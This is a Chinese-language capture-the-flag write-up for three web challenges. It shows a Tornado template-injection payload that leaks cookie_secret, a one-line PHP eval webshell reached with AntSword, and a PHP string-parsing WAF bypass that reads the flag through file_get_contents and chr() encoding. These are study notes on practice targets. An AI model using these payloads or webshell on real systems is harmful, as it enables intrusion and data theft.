知识点
一句话木马结构:<?php @eval($_POST['attack']) ?>
render:python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
SSIT:SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。详情可见该博客。
tornado:Tornado龙卷风是一个开源的网络服务器框架,它是基于社交聚合网站FriendFeed的实时信息服务开发而来的。
PHP函数
- file_get_contents() :file_get_contents() 函数把整个文件读入一个字符串中。
- var_dump() 函数用于输出变量的相关信息
- scandir()列出 参数目录 中的文件和目录
WAF:是指防火墙。
防火墙绕过:利用PHP的字符串解析特性就能够进行绕过waf!!
6-1
做题思路
原谅我打开题目之后,观察了三个文档只知道了flag应该在 /fllllllllllllag 中,
除此之外只认识一个 MD5编码
虽然知道不可能直接得到,但还是尝试着在 URL 中输入 /fllllllllllllag
结果果然不出意外,去找大佬的WP
看了WP后得知了更多线索
点开文件后,url 发生了变化,有参数
filename
和filehasbiancaice
便猜测flag 在 filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)) 里面
那接下来便要找 cookie_secret ,hints提示 render ,又根据题目easy_tornado,可推测是服务器模板注入
因为render()是tornado里的函数,可以生成html模板。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
根据大佬WP思路是查阅Tornado官方文档查询与cookie_secret相关的
最后得知
cookie_secret
在RequestHandler.application.settings
里用
handler.settings
访问RequestHandler.application.settings
payload:
/error?msg={{handler.settings}}
得出cookie_secret后就可以求md5(cookie_secret+md5(filename))
然后根据python代码得到 filehash:
import hashlib hash = hashlib.md5() #创建md5加密对象 hash.update("/fllllllllllllag".encode('UTF-8')) #更新对象要加密的字符串,要先UTF-8编码成二进制,因为md5只加密二进制 s1=hash.hexdigest()#以十六进制输出密文 hash = hashlib.md5()#按要求重复步骤 hash.update(("88418b16-e8cf-4a57-9b43-2abd81796dea"+s1).encode('utf-8')) print(hash.hexdigest())
6-2
做题思路
根据题目的shell,和菜刀,想到用蚁剑连接
看见这个
想到了一句话木马
于是用蚁剑连接网站,密码为Syc,连接成功
然后在文件中找到 flag
6-3
做题思路
打开之后没思路,看看源代码
发现了一个
尝试进入calc.php
发现过滤了许多东西
经过多次类似的题目和看过WP后我觉得这个题目关于PHP代码的题目需要在该文件后面输入指令
然后根据黑名单便利用 ascill码 绕过黑名单,
然后此题还要绕过防火墙,利用PHP的字符串解析特性就能够进行绕过waf!!
构造参数
? num=phpinfo()
(注意num前面有个空格)就能够绕过然后利用 var_dump() 和 scandir() 进行目录读取,看到了flagg
然后利用 file_get_contents函数 构造 payload
http://node3.buuoj.cn:27112/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))